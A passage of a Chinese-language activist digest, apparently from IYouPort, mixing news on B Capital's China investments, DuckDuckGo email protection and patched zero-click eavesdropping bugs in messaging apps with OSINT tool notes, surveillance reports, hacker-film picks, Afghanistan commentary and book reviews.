甘古利现阶段拒绝透露其中国投资对象是谁，但表示这些投资对象包括一家生物技术公司、一家汽车零部件企业、和一家电子商务企业。

利用BCG的专业知识，生物技术公司正在学习如何更快地将实际药物推向市场。而汽车企业也同样在与BCG合作，以确定其定价和市场战略。

总的来说，B Capital 在医疗保健、金融科技、工业数字化、和其他横向企业服务领域寻找机会。最让 B Capital 感兴趣的中国初创企业也是那些有意愿和能力跨越国界的企业。

甘古利说："生物技术是我们对中国正在发生的事印象最深刻的领域，以及这些技术如何能够出口到其他国家。B Capital 已经支持了一家在上海和马萨诸塞州剑桥市都有办公室的中国生物技术初创公司，并且正在与另一家同样横跨中国和美国的公司完成交易。

另一个目标是电子商务，甘古利将其描述为"具有跨境性质"，因为产品通常在一个国家采购，在另一个国家制造，然后在第三个市场销售。

这位投资者对跨境电子商务在中国的潜力的判断肯定是正确的，中国的消费者对进口商品有很大的需求，制造商也在寻找新的方式在全球销售。

甘古利说，中国在出口企业软件方面也处于有利地位，这与印度同行在海外取得成功的情况相似。而不同的是，很少有印度企业愿意花大价钱购买软件，这迫使B2B企业家在国外寻找市场，而中国国内企业对SaaS的需求越来越大。

尽管目前地缘政治复杂化，但甘古利乐观地认为，从长远来看，世界"仍在向全球化发展"。

他说，"某些创新周期已经在硅谷开始，并扩散到中国和东南亚等地。但坦率地说，其他创新周期从中国开始，到南亚、东南亚和美国。我们认为，中国的企业[软件]、人工智能和生物技术是我们看到的一些最好的技术"。

但这些全球化的公司必须能够适应，在其核心市场之外雇用人才，获得监管部门的批准，并建立正确的分销网络，这位投资者建议：

"全球化的某些方面已经变得非常政治化，我认为这是不幸的，但可以理解。我们的信念是，我们投资的企业有能力跨越国界。有时这意味着从中国到南亚和东南亚，有时这意味着延伸到美国，有时它只是意味着进口或出口他们的产品或软件的能力，甚至留在中国，他们可

以在海外销售他们的技术。”

电子邮件保护

「图」

DuckDuckGo 正在推出一项新的电子邮件保护服务，将您的主要电子邮件地址匿名化。它的工作方式非常简单—— 您在注册网站或通讯时使用一个特殊的 @duck.com 电子邮件地址，而 DuckDuckGo 将把所有收到的信息转发到您的常规电子邮件收件箱。

这些信息在转发给您之前会被去除所有的跟踪器。而且，由于您只给网站、商店和新闻通讯提供您的@duck.com地址，他们永远不会知道您的主要电子邮件地址是什么。

这个想法听起来可能类似于苹果公司的 “隐藏我的电子邮件” 工具，该工具与iOS 14和Big Sur一起推出。但是，有几个关键的区别。首先，苹果的 “隐藏我的邮件” 并不给您从信息中删除跟踪器，尽管它在iOS 15发布时将假的跟踪结果发回给广告商。

更重要的是，“隐藏我的电子邮件” 工具为您注册的每项服务都生成一个中介电子邮件地址。DuckDuckGo 电子邮件保护则只给您一个中介地址，除非您使用 DuckDuckGo 应用程序，该应用程序将（最终）提供即时生成的新地址。

对于那些目前正在寻找中介电子邮件服务的人来说，苹果公司的工具可能是引人注目的选择 …… 但是，它只适用于使用Safari浏览器的苹果设备（我们也不会推荐您使用Safari浏览器）。显然，对于普通人来说，DuckDuckGo 的电子邮件保护是一项更好的服务。

DuckDuckGo 电子邮件保护目前正在推出测试版。要使用这项服务，您必须使用 DuckDuckGo 移动应用程序中的 “private” 等待名单。只需打开应用程序，进入您的设置，向下滚动到测试版类别，然后按 “电子邮件保护”。当轮到您报名时，您会收到一个手机通知。

https://www.spreadprivacy.com/introducing-email-protection-beta/

即便加密的消息应用程序也存在窃听问题

「图」

2019年初，FaceTime 群组通话中的一个漏洞让攻击者可以激活正在通话的iPhone的麦克风，甚至是摄像头，并在接收者做任何事之前进入窃听状态。其影响如此之大，以至于苹果完全切断了对群组通话功能的访问，直到该公司能够发布一个修复方案。这个漏洞—— 以及它完全不需要受害者点击的事实—— 吸引了娜塔莉·希尔瓦诺维奇。

谷歌 “零点项目” 的研究员希尔瓦诺维奇说：“你可以找到一个影响很大的漏洞，你可以在没有任何互动的情况下导致一个电话被接听，这个想法很令人惊讶。我开始努力寻找其他应用程序中的这些漏洞。最后我发现了一堆这种东西。”

希尔瓦诺维奇多年来一直在研究 “无交互” 漏洞，即 不需要目标点击恶意链接、下载附件、在错误的地方输入密码或以任何方式参与其中的骇客攻击。随着有针对性的移动监控在世界各地的爆发，这些攻击的意义越来越大。

近期于拉斯维加斯举行的黑帽安全会议上，希尔瓦诺维奇介绍了她对无处不在的通信应用程序（如 Signal、Google Duo 和 Facebook Messenger）以及流行的国际平台 JioChat 和 Viettel Mocha 的远程窃听漏洞的发现。

所有这些漏洞都已被修补，希尔瓦诺维奇说，在她披露这些漏洞后的几天或几周内，开发者对修复这些漏洞反应非常积极。但是，在主流服务中发现的这类漏洞的数量之多，强调了这些缺陷是多么的普遍，以及开发人员需要认真对待。

希尔瓦诺维奇说：“当我听说那个群组 FaceTime 的漏洞时，我以为这是一个独特的漏洞不会再发生了，但事实证明并非如此 ……这是我们以前不知道的事，但现在重要的是，制作通信应用程序的人要意识到这一点。你正在向你的用户做出承诺，你不会在任何时候突然开始传输他们的音频或视频，你有责任确保你的应用程序不辜负这一点”。

希尔瓦诺维奇发现的漏洞提供了各种各样的窃听选项：Facebook Messenger 的漏洞可能允许攻击者监听目标设备的音频；Viettel Mocha 和 JioChat 的漏洞都有可能对音频和视频进行高级访问；Signal 的漏洞只暴露了音频；而 Google Duo 漏洞提供了视频访问，虽然只有几秒钟的时间。在这段时间内，攻击者仍然可以录制一些画面或抓取屏幕截图。

希尔瓦诺维奇考察的应用程序都是在开源项目 WebRTC 的实时通信工具上建立其大部分音频和视频通话基础设施的。一些无交互的通话

漏洞源于开发者似乎误解了 WebRTC 的功能，或者实施得不好。但希尔瓦诺维奇说，其他的缺陷来自于与何时和如何设置呼叫有关的每项服务的具体设计决定。

当有人在基于互联网的通信应用上给你打电话时，系统可以立即开始在你们的设备之间建立连接，这个过程被称为establishment，所以当你点击接受时，通话可以立即开始。另一种选择是，应用程序稍等一下，等待看你是否接受呼叫，然后在知道你的偏好后花几秒钟建立通信渠道。

后者在私下里更容易实现，因为可能出错的地方更少；只有在你肯定的同意之后才会建立连接。不过，大多数主流服务采取的是另一条路线，提前设置通信渠道，甚至开始发送音频和视频流等数据，以便在呼叫的接收者接听时提供近乎即时的连接。

做这些准备工作本质上并没有引入漏洞，而且可以以保护隐私的方式进行。但它确实创造了更多犯错的机会。关键是要设计一个经过审查的系统，让它按照预期的方式工作。

希尔瓦诺维奇说："在视频会议方面，开发商有一些重大保证。例如，你不会在任何时候突然开始传输视频。或者静音按钮真的有用吗？很多这些错误发生的原因是，设计这些系统的人没有考虑他们在音频和视频的实际传输时间方面做出的承诺，也没有验证这些承诺是否被遵守"。

希尔瓦诺维奇补充说，类似的漏洞很可能在主流通信应用程序中仍未被发现。例如，她只研究了一对一的通话，而iOS群组 FaceTime 的漏洞表明，群组通话可能有自己的缺陷。她强调，虽然简短的音频或视频片段在所有情况下都不一定是攻击者的金矿，但无交互的攻击往往值得尝试，因为它们看起来无害且难以被追踪。

希尔瓦诺维奇说，"我发现无交互的漏洞是最有趣的一类漏洞，因为它们对攻击者来说非常有用，因为用户不需要做任何事就会中招"。

Why not?

「图」

当我们希望就同一个问题/麻烦/困境进行思考的时候，往往最先听到的是人们对不同国家之间差异的强调，而不是从其他国家就同一问题所采取的反抗行动中汲取动力。这种状况在中国格外突出。

不论是反警察暴力的全球抗议活动、为生存而战的气候正义运动、内卷危机和劳工运动、还是数字殖民和算法暴政，当下是全球联合的最重要和最必要的时段，就如我们不断强调过的那样，因为局限于本土的反抗已经无法真正解决问题。

中国社会缺乏一种 “我们这儿也有那种暴行啊” 的共鸣感，以及随之必需的行动欲望。这是长期倡导失败和不专业的结果之一。现在我们需要纠正它。

不论如何，最基本的是，我们的对手一直在作恶中联手—— 他们互助镇压武器、间谍软件、监控技术、为跨境抓捕提供越来越隐秘的便利；如果我们继续各自为营，我们将很难取得胜利。

多年前IYP曾多次讨论过这一问题，即 中国仿佛是个孤岛，就像一场拔河比赛，一边是中国，另一边是世界；我们这样的跨文化传播者就像被绑定在绳子中间的红布条位置上—— 不论你接近其中任何一方，都意味着远离另一方。这是不正常的，尤其是在当下。

幸运的是，最近发现，我们的读者群中已经有越来越多的人开始理解到跨国联合和向其他国家反抗者学习的重要性，尤其是香港的朋友，具有令人钦佩的眼界。我们认为希望是有的。

IYP的列表-5（ https://start.me/p/1kod2L/iyp-direct-action5 ）提供全球反抗经验、行动资源、安全防护装备、理论和战略智慧，我们选取的都是值得中国行动者了解的知识，希望未来能有更多中国朋友理解到这一点。

中国的推特信息战宣传网络，最新调查报告

「图」

https://t.me/iyouport/8008

还记得上面这个帖子吗？👆 这是今年1月份时再一次发现类似迹象时我们做出的描述。

几个月后有西方媒体肤浅地报道了一下，几乎没有任何意义，**因为那份报道没有能揭示任何关于协调性、战略性、雇佣关系等判定信息战的基本要素** 。于是我们没有提起它。

现在有了一份更好一些的调查报告，我们将在下面上传它。它比较详

细，具有一定的可视化程度，至少覆盖大部分基本要素。尤其是，包含社交媒体情报的基础方法。

这些方法都是我们曾经介绍过的，比如：

- 如何识别假人脸
- 社交媒体情报追踪线索
- 信息战监测
- 信息收集技巧
- 跨平台跟踪
- 识别可疑信号的方法

…… 等等，更多。

📌 如果您对相关调查感兴趣，可以参见我们的列表-3中的 “不再吃瓜—公民调查指南”、“开始调查” 等板块；以及列表-5的 “开源情报” 板块。

这份报告事实上很基础，它所运用的技术工具在我们曾经介绍和演示的调查案例中属于初/中级；但它已经可以做到完成一份完整报告。所以，即使您的信心不那么充分，您也一样可以开始进行，并在实践中获得提升。希望我们曾经提供的知识能对您有所帮助。

最后，这份报告依旧没有能触及到我们在去年底的对话中透露的问题，即 有组织的信息战对西方博主/反抗组织的渗透程度。我们也无法了解这一程度，因为它与太多因素有关，并很可能无法准确可视化或论述。除非，能够准确曝光其中的雇佣关系—— 这需要 #吹哨，而不仅仅是社交媒体情报。希望未来可以做到。

下载这份调查报告：https://www.patreon.com/posts/zhong-guo-de-tui-54699738

《Chaos Under Heaven: Trump, XI, and the Battle for the Twenty-First Century》

「图」

美国、中国和21世纪之战——

这是今年3月上架的新书，听说在中国也有很多朋友在互相推荐。但是这本书并不那么好，它犯了一个几乎所有只盯着特朗普的人都会犯

的错误：缺少历史眼光和前瞻性。

这本书从2003年开始，当时作者乔什·罗金作为律师助理正在进行一个项目，他看到了国务院的文件，其中显示中国正在支持苏丹政府在达尔富尔的种族灭绝。这些文件称，中国政府采取了各种措施支持喀土穆政权，以维持苏丹的石油供应，中国迅速扩张的经济需要这些石油。

在这本书中罗金将他发现的这个宝库描述为他对中国的“醒悟”。他说，他为这本书采访的几乎每个人都有类似的醒悟，“在他们个人或职业生活中的某个时刻，他们意识到美国和中国之间的大战略竞争是世界上最重要的外交政策问题”。

冷战时期对共产主义在亚洲蔓延的恐惧从未远离美国人的意识。这些恐惧产生了阴谋论式的警告，如克莱恩·斯库森（W. Cleon Skousen）的《赤裸裸的共产党人》（1958年）和理查德·康顿（Richard Condon）的《谍网迷魂》（1959年）等小说所表达的那样，这些小说描述了亲北京的“潜伏特工”渗透到了美国政治的最高层中。

20世纪80年代出现了一个短暂的插曲，当时邓小平似乎可能会把国家推向一个更加务实，甚至可能是自由的方向。但是，1989年6月初，中国各地的和平示威遭到暴力镇压，加上邓小平在1990年代初对国家资本主义的支持，使人们重新担心中国对美国的全球主导地位的挑战越来越大。偏执狂的书籍再次发出了警报。理查德·伯恩斯坦和罗斯·H·门罗的《与中国即将发生的冲突》（1997年）警告中国的侵略及其对美中关系的危险；《死于中国：面对巨龙—全球行动呼吁”（2011年），指控中国正在迅速成为“地球上最有效的杀手”，生产的致命产品被出口到世界各地；迈克尔·皮尔斯伯里的《中国取代美国成为全球超级大国的秘密战略》（2015）描述了北京超越美国的多代人的努力。

2016年12月，中国国务委员杨洁篪对特朗普团队就“中国政府的一连串法令、不满和要求”进行了至少两个小时的演讲。罗金写道，曾宣布自己是中共敌人的史蒂夫·班农“很挑衅”，“称杨洁篪是个破坏者，‘一切都显而易见’，而且在对美国的中国政策做出全面检查之前，特朗普政府不会做出任何承诺。”

这本书有价值的部分在于它揭示了最近解密的“美国印太战略框架”的由来，该框架本应是特朗普亚洲政策的指南。最终成为国家安全副顾问的马修·波廷杰(Matthew Pottinger)领导了该框架的制定，其目的是“加强美国在其所认为的前线国家的参与—— 这些国家在地理上最

接近中国，因此受中国崛起的影响最大”。

这本书还叙述了政府内部各派别之间的争斗，他们都在争夺总统的祝福。这些相互竞争的利益有助于解释特朗普与中国交往的跷跷板性质。用罗金的话说就是，有“超级鹰派”（班农、彼得·纳瓦罗和斯蒂芬·米勒）、“强硬派”（波廷杰）、“华尔街集团”（史蒂夫·姆努钦和拉里·库德洛）和“成人轴心”（约翰·凯利、H.R. 麦克马斯特、和吉姆·马蒂斯）。鉴于特朗普的注意力有限且游移不定，正是这些人之间的相互作用确定了政府的对华战略，并给拜登政府留下了“复杂的遗产”，正如战略与国际研究中心的斯科特·肯尼迪所说。由于罗金的报道，我们现在可以更详细地了解这场肥皂剧。

然而，如果能对特朗普之前的双边关系进行更全面的分析，罗金对特朗普政府内部的争吵所作出的描述将会更加有力。对前总统的强烈关注产生了一个相当历史性的中美关系画像。

罗金在这本书的开头部分宣称特朗普政府在双边紧张关系中“玩了第一轮新游戏”，表明了他的狭隘视野。复杂的美中关系远非第一轮游戏。自毛泽东掌权以来，两国一直在对峙，并在朝鲜战争中发生了直接的军事冲突，在越南战争中也有代理人参与。当前这种大国竞争的游戏也并不是新的。自20世纪50年代以来，北京一直将美国视为其主要的地缘政治对手。如果说有什么是新的，那就是随着中国经济和军事力量的增长以及华盛顿对美国如何保持全球领导地位的焦虑升级而演变出来的战略。即使在中国的改开时期，公开冲突的可能性也一直存在。在1995–1996年的台海危机中，比尔·克林顿派遣两个航母战斗群进入台湾附近的国际水域，以回应北京对该岛的剑拔弩张。在另一起紧张事件中，2001年一架美国海军情报飞机在中国海南岛附近与一架解放军海军战斗机相撞。

在罗金的书中，奥巴马政府时期双边关系的复杂性只做了相对肤浅的处理，罗金声称白宫对一个日益自信的中国表现出“故意视而不见”。当然，有一个合理的论点是，奥巴马应该更加强硬，但更细致的看法是，在奥巴马的第一个任期内，存在着对中美冷战的公开担忧，正如亨利·基辛格在2011年的邮报上写道的，美国和中国越来越多的精英共识“强调的是冲突而不是合作”。

北京和华盛顿之间关系的漫长、混乱和复杂的历史对于理解其未来至关重要。虽然一些读者可能会从这本书中认识到习的中国对于华盛顿利益的威胁，但是，如果您想要对未来可能出现的情况有一个深刻的历史观，这本书并没有提供。

大国之争是利益之争，包括人权在内的一切都是工具，这本书至少能够一定程度上体现这一如今已经被越来越多的人所了解到的常识。

- ○ 如果您错过了《中国的银河帝国，和高堡奇人》。

下载：https://t.me/iyouport/8607

下载；https://www.patreon.com/posts/mei-guo-zhong-he-51435785

1. 开源情报 #威胁情报 #调查 Maltego 已经创建了一个新的集成，这次是关于恶意URL的。这使您能够找到关于IP地址和域名的信息，也能找到关于URL、DNS名称和哈希值的信息。这是一个伟大的补充。

📌 不久前曾经有读者联系我们，报告关于针对中国异议人士及其支持者的疑似有计划的网络钓鱼行动；这个新集成将有利于您对此类案例进行调查。

此前我们曾经多次介绍过它。如果您还不了解这个强大的开源情报工具，在我们的频道搜索 “Maltego” 以找到更多相关内容。

在这里看到具体解释：https://www.maltego.com/blog/identify-and-understand-malware-with-maltego-and-urlhaus-by-abuse-ch/

拉美的监控技术，国外制造、国内部署

「图」

这里是 accessnow 的最新调查报告：《拉美的监控技术，国外制造、国内部署》- 拉美现在也是中美高堡奇人争夺的要塞之一。

概述中有写道：拉丁美洲部署的大部分监控技术都是从亚洲（以色列、中国和日本）、欧洲（英国和法国）、和美国直接或间接获得的。📌 这些供应商包括 **AnyVision**、海康威视、大华、**Cellebrite**、华为、中兴、**NEC**、**IDEMIA** 和 **VERINT** 等。

我们的列表 -4“高堡奇人的世界” 中有两个板块：“作恶者—中国在帮谁”、以及 “协助暴政的家伙们”（ https://start.me/p/aL8RrM/iyp-4 ），其中收录的内容均包含在这份最新报告中，它比我们曾经收集的信息更加丰富，且有足够多的挖掘。

下载；https://t.me/iyouport/8616

没必要读的书

「图」

正如王尔德所言：愤世嫉俗者是一个知道一切的代价，却一无所有的人。这句格言就是当今世界的运作方式。

这本2021的新书对自由市场资本主义的原则性拒绝有可能帮助武装商业、金融和政府中最好的人，并解除最坏的人的武装。但是，它有根本性的缺陷，总的来说，对于如何彻底改革“市场社会”以促进多数人的繁荣而不是少数人的富裕这一基本问题，几乎没有什么洞察力。

作者马克·卡尼(Mark Carney) 拥有哈佛和牛津大学的学历，长期从事货币业务，曾在高盛工作13 年，在中央银行领域工作了十多年。因此，他提供了一个内部人士对现代资本主义的困扰的看法。

卡尼在 2008 年 ~ 2012 年期间担任加拿大银行行长而享誉全球，之后成为英格兰银行行长，他的职位一直持续到 2020 年 2 月。他目前是联合国气候行动和金融问题特使，并一直担任被吹捧为加拿大自由党领袖贾斯汀·特鲁多的潜在继任者 …… 但也正因此，不管他的诊断有什么价值，他的处方对普通公民来说，没有任何好处。

看电影：领会黑客主义和开源情报的战略智慧

「图」

好吧，今天推荐的是一些不一样的东西 …… 电影。

但是这些电影不仅仅是为了娱乐的。

如您所知，开源情报、黑客和间谍，有一个最重要的共同点：技术不是根本性问题，思维方式才是。不论您的技术有多好，如果您的思维方式不科学，您就很容易受骗，和/或错过最重要的挖掘线索。

技术可以通过专心学习以获得，但思考方式不能；它必需通过您的持续观察、模仿、探究、亲手实践以总结经验，才能获得。在此，看电影是一个令人愉快的好主意:) 只要您知道应该留心什么。

1、《黑客》(Hackers, 1995) 一个小男孩因编写计算机病毒而被美国

特勤局逮捕，并被禁止使用计算机，直到他18岁生日为止。多年后，他和他的新朋友发现了一个释放危险的计算机病毒的阴谋，但在被特勤局和病毒背后的邪恶计算机天才追捕时，他们必须利用自己的数字技能来寻找证据。他们是怎么做的？

2、《死亡密码23》 (23—Nichts ist so wie es scheint, 1998)，关于80年代德国最著名的黑客 卡尔·科赫(Karl Koch) 的故事。他卷入了冷战时期的计算机间谍事件。

3、《互联网之子》(The Internet's Own Boy: The Story of Aaron Swartz, 2014)关于亚伦·斯沃茨生平的纪录片。亚伦是被那些间谍逼死的，但叙事矩阵中您看不到这种残酷，虽然您依旧能看到亚纶的智慧。完整版：https://archive.org/details/TheInternetsOwnBoyTheStoryOfAaronSwartz

4、《骇客追缉令》(Takedown, 2000)，这部电影是根据捕获计算机黑客凯文·米特尼克的故事改编的。多年来，米特尼克（Mitnick）在使用最新的电子设备闯入无数计算机并获得敏感和有价值的信息的过程中一直能够躲避联邦调查局特工，直到他闯入计算机犯罪专家 Tsutomu Shimomura 的系统时，一场大抓捕开始了。

米特尼克的确非常聪明，但他也做了他一生中最不聪明的事 —— 被招安。好吧，这是题外话了。这部电影中您能看到数字追捕方面的很多智慧，它的价值只在这一方面。

5、《All Creatures Welcome》(2018)，关注过 Julian Assange 和 Jacob Appelbaum 的人都知道CCC（德国柏林的"混沌俱乐部"），这是全球最大的黑客盛宴之一，这部电影就是关于CCC的 —— 即 我们的主题之一：黑客行动主义。在我们的列表-5中看到相关内容。

CCC的故事是一种乌托邦式的现实世界对虚拟光谱的反映，自我组织、言论自由和批判性讨论融合在一个丰富多彩的、脱离社会规范和资本主义约束的合唱中："Be excellent to each other!"

这些都是真实的，但其中一些小 "插曲" 不包含在这部电影中，比如，你知道的，Jacob 被华盛顿间谍施加人格暗杀后的遭遇。当然，这又超出了本次推荐的主题。最终能够上映的电影都有那么一点缺憾，但在这里，它不会影响您领会黑客行动主义的精神和智慧。https://media.ccc.de/v/all_creatures_welcome

6、《战争游戏》(WarGames, 1983) 冷战科幻片，警告：有很大的政

治宣传成分；但也不影响您学习其中的追踪和间谍技巧。

7、《Pir@tage》通过黑客的眼睛了解互联网的历史 —— 涵盖了不同的参与者（黑客，透明度革命，hadopi，p2p，自由软件…）以及海盗在互联网发展中的作用。

请注意，上述这些内容在该片中的介绍都非常不充分，您不应该认为“这就是全部”。

您可以使用我们的《洋葱头会让谁流泪》、《为自由而战》、专栏“透明度革命”等内容作为补充。欢迎寻找这部电影中遗漏的东西。完整版，法语：https://framatube.org/videos/watch/461a125e-7de0-4d62-b498-b167b1280675

8、《TPB AFK: The Pirate Bay Away From Keyboard》纪录片，由赛门·克罗斯执导，改编自海盗湾BT种子网站三位创始人彼得·桑德、菲德瑞克·耐耶、加特菲德·斯沃特何姆的故事，完整版：

从这些电影的发行年代您就能看到，您无法模仿和挪用其中出现的技术，但是，战略智慧是经久不衰的，只要您用在正确的地方。

📌 不要错过，我们介绍过寻找种子下载的搜索引擎列表：https://t.me/iyouport/7005

《阿富汗，唯一的路》

「图」

最近几天里，我们看到中国舆论和中国媒体不断谈论塔利班和阿富汗，我们知道这是为什么。整体上，中文对此的谈论再一次局限于“中国还是美国”、“撤军还是继续打”的狭隘角度上，这不是作为人权捍卫者和和平追求者应有的思考方式。

本帖是一个概述，希望能帮助尚未了解相关局势的读者获得一些整体性的信息。

- ○ ■ ■ ■ 随着时间的推移，塔利班的部队越来越接近于控制阿富汗全境。在8月的第一周，塔利班席卷了该国的北部省份 —— 朱兹詹、昆都士和萨尔普勒，这些省份与中亚国家土库曼斯坦、乌兹

别克斯坦和塔吉克斯坦的边界形成一个弧形。暴力一直很严重；激烈的战斗给平民带来的痛苦是可怕的。

美国在撤出其地面部队后，派出了B-52飞机轰炸希比尔甘（朱兹詹省首府）的目标；报告显示，至少有200人在轰炸中丧生。

喀布尔政府的国防部发言人法瓦德·阿曼（Fawad Aman）为这次轰炸欢呼，这显示了喀布尔政府的软弱。

艾什勒弗·贾尼总统的阿富汗政府不太可能在塔利班的闪电袭击中幸存。美国的轰炸将减缓前进的步伐，但它无法扭转局势。这就是为什么亚洲的区域大国中国加深了与塔利班领导人的接触，后者对整个国家的治理似乎是不可避免的。

所谓的 “温和” 塔利班

塔利班本身不是一个实体，它是由一群极端分子和好战分子组成的，他们利用圣战的言辞来实现权力—— 这是海拉·纳吉布拉在8月第二周与记者交谈时所说。纳吉布拉是一部重要的书籍《阿富汗的和解与社会愈合》（2017）的作者，她是1987至1992年的阿富汗总统穆罕默德·纳吉布拉的女儿。海拉·纳吉布拉说，自《多哈协议》（2020年）以来，“塔利班已经用行动表明，它不是温和的，相反，他们在对阿富汗人民和国家实施的暴力类型方面变得更加极端”。塔利班拒绝了阿富汗和平组织提出的所有停火方案。

仔细观察塔利班的领导层，可以发现自1994年9月成立以来没有什么变化。塔利班的公众形象—— 毛拉·阿卜杜勒·加尼·巴拉达尔（Mullah Abdul Ghani Baradar）创立了塔利班，是该运动第一任埃米尔—— 毛拉·奥马尔的亲密伙伴。2001年10月美国袭击阿富汗后，是巴拉达尔用摩托车将毛拉·奥马尔带到他们在巴基斯坦的避难所。受到巴基斯坦情报部门信任的巴拉达尔，将自己与塔利班现任领导人—— 毛拉·海巴图拉·阿洪扎达（Mawlawi Haibatullah Akhundzada）及其两名副手—— 毛拉·亚库布（已故毛拉·奥马尔的儿子）和西拉朱丁·哈卡尼（巴基斯坦哈卡尼网络的领导人）之间没有任何区别。1997年至2001年，阿洪扎达（Akhundzada）掌管塔利班的司法系统，并对其一些最令人发指的判决负责。当COVID-19感染了大部分领导层后，决策权落到了巴拉达尔手中。

在2021年3月的莫斯科国际和平会议上，由巴拉达尔率领的整个10人塔利班代表团都是男性（公平地说，在这个过程中，200名阿富汗人

中只有4名女性）。在座的四位女性之一是哈比芭·萨拉比博士，她在2004年被任命为妇女事务部部长，然后在2005年成为阿富汗省的第一位女省长。值得注意的是，她是巴米扬省的省长，**2001**年**3**月，塔利班曾在该省炸毁了两座六世纪的佛像。2020年10月，萨拉比博士指出，尽管阿富汗现在面临着“我们战斗的关键时刻”，但阿富汗妇女“已经更多动员起来了”。已经出现了关于塔利班控制区强迫婚姻和公开鞭打妇女的报告。

民族和解

萨拉比博士说，妇女被动员得更多，但她们并不是一个强大的社会运动。纳吉布拉表示，阿富汗更加自由和进步的社会力量“只在地下活动，而且不是一支有组织的力量”。这些力量包括受过教育的阶层，他们不希望极端主义组织将国家拖入另一场代理人战争。这场代理战争将是塔利班、美国支持的喀布尔政府、和其他军事团体之间的战争，这些团体的危险性并不亚于塔利班或美国政府。

纳吉布拉的分析延伸到她父亲提出阿富汗民族和解政策的时候。纳吉布拉总统在1995年写给家人的一封信在今天依然有用：“阿富汗现在有多个政府，每个政府都由不同的地区势力创建。甚至喀布尔也被分成了几个小王国 **……** 除非并且直到所有的行为者 **[**区域和全球大国**]** 同意坐在同一张桌子边，抛开他们的分歧，就不干涉阿富汗达成真正的共识，并遵守他们的协议，否则冲突将继续下去”。

海拉·纳吉布拉（Heela Najibullah）说，民族和解政策需要一系列行为体在国际和地区会议上的政治参与。这些行动者将包括那些利用阿富汗来实现自己国家议程的人，如印度和巴基斯坦。纳吉布拉建议，在这样的会议上，阿富汗需要被“正式承认为一个中立国家”，而这个“中立国家”应该得到联合国安理会的认可。纳吉布拉说：“一旦实现了这一点，一个基础广泛的政府就可以执政，直到举行选举，讨论改革，并为其实施制定机制”。

傀儡政治

20世纪90年代，纳吉布拉总统的政策因代理政治的深化而受到阻碍。外国势力通过他们的武装使者—— 如阿卜杜勒·拉苏尔·萨亚夫、布尔汉努丁·拉巴尼、古勒卜丁·希克马蒂亚尔、和西卜加图拉·穆贾迪迪等人—— 在阿富汗制造动乱。他们为塔利班打开了大门，塔利班从巴基斯坦北部席卷了整个阿富汗。纳吉布拉在喀布尔的联合国大院里避难，然后于1996年9月在此地被塔利班无情地杀害。无论是美国-沙特-巴基斯坦支持的部队（从拉巴尼到穆贾迪迪）还是塔利班，都对任

何形式的和解政策不感兴趣。

他们现在也没有对真正的和平进行投资。塔利班已经表明，他们可以取得重大进展，并将利用他们的领土收益来获得政治优势；然而，塔利班的务实成员说，他们只是没有资源和专业知识来治理一个现代国家。

艾什勒弗·贾尼总统几乎无法控制自己的政府，在没有美国空中力量的情况下，他基本没有防御能力。每个人都可以在和解进程中带来一些东西，但其可能性很低。

与此同时，外国势力继续将阿富汗作为其地区野心的战场。对历史的盲目性支配着一些国家首脑的态度，他们从以往的经验中知道，极端主义无法在阿富汗境内得到遏制；它对该地区造成了破坏。海拉·纳吉布拉呼吁考虑她父亲的民族和解政策，这不仅仅是一个女儿的希望——它也许是实现阿富汗和平的唯一可行之路。〇

关于我们为什么要发布上面这个帖子。IYP不是新闻网站，我们从来对所谓的网络热点不感兴趣，这是写在网站首页上的。除非，这件事与中国反抗者有关—不论是战略部署的时局分析、还是战术选择的威胁动态。

阿富汗问题本不是我们的主题，但现在中国—另一个[准]帝国—正在借助局势牟利。我们希望中国朋友能具备美国进步人士的眼光和判断力，因为你们现在需要它。

【注】该帖子基于被刺杀的前总统的女儿在前日接受采访时对局势的再一次强调—— 关于如何获得真正的和平。她是一位重要的学者，非常推荐您阅读她的著作。

此外，我们的网站有 “中东和北非” 专栏，这不仅是BRI的战略要地，也是高堡奇人争夺战的主场。我们希望您和我作为people，和那些受难的people们站在一起，不论他们在哪个国家；而不是和政权站在一起，不论您是哪“国”人。

《The Counterrevolution: How Our Government Went to War Against Its Own Citizens》

「图」

镇压革命：这个时代的暴政形式——

我们的 列表-5 中有一个 “维稳面面观” 板块，其中收录的都是全球政权如何镇压反抗运动的战术和工具，从在线到现实，从本土抓捕到跨国抓捕，从冷热兵器到数字武器，从布阵到心理战 ……

如果您通读过就会发现，全世界的政权采取的镇压战术都有非常多的相似性，这是因为整个世界在同一个互联网上，不论是间谍软件还是镇压武器，都在大量地跨国销售，于是对镇压者来说，基础设施往往很相似，于是他们能做的事也基本一样。

这就是我们将这些内容综合起来的意义—— 不需要您在本土上街之后再开始亲身领略，也不需要您亲自中招间谍软件而被抓捕后再去仔细思考数字防御；已经有太多人帮您亲历过了，只要中国发生抗议活动、或者仅仅出现当局认为 “对政权稳固有威胁性” 的反抗力量，无需质疑，所有这一切镇压手段您都会在您身边看到。

幸运的是，手段不会更多了。如果您能提前知道该如何应对这些手段，即便它们一块儿上，您也知道该怎么办。

这就是这本书的意义。

每一次全世界瞩目的大型抗议活动和跨国联合的反抗运动，我们都有尽可能详细的记录和分析，分析镇压战略、分析反抗者的智慧、介绍新的创造力和传统的经验，这部分内容也被汇聚在列表-5 中；对您来说，它们就如演习，您会看出其中的门道，吸取失败的教训和成功的技巧，以发展您的战略智慧。

一些读者曾经告诉我说，“你们说美国的事太多了，也说说其他国家嘛”，这是对的，其实我们一直在说全世界的故事，只要对中国朋友有参考价值的内容，我们都会介绍。但是，现实中遗憾的是，阅读量显示，中国读者对美国的兴趣远高于其他任何国家。

这很奇怪，但也不是什么问题，美国是创新者，在各个方面都是——当然，包括镇压战术；于是美国出现的镇压战术布局，对中国有非常多的参考意义：还记得那本书吗《“只有两个国家足以压制反叛”：AI, 大数据和反叛的未来》，就是美国和中国。美中在技术方面越来越势均力敌，尤其是，美国巨头为了钱，十几年来为中国政府和军方做了非常多的事（在 列表-4 “作恶者：谁在帮中国” 栏目中看到相关内容汇总，其中大部分都是美国）。

其结果就是，美国的镇压模式对中国反抗者最具参考价值。

对于我们欧洲，惭愧的是，我们是前殖民者，现在我们的政府一直在持续为各自的前殖民地政府秘密地培训维稳警察。于是那些前殖民地国家所采用的镇压战术，都是我们欧洲警察的“特色”；他们还销售武器，催泪瓦斯和橡皮子弹都是通过这个渠道买卖的。

今天介绍的这本书描述的完全是美国的镇压模式，内容非常丰富，上述介绍的这些部分全有。（虽然，美国的军事化警察也在接受我们欧洲间谍机构的培训，这是题外话了）

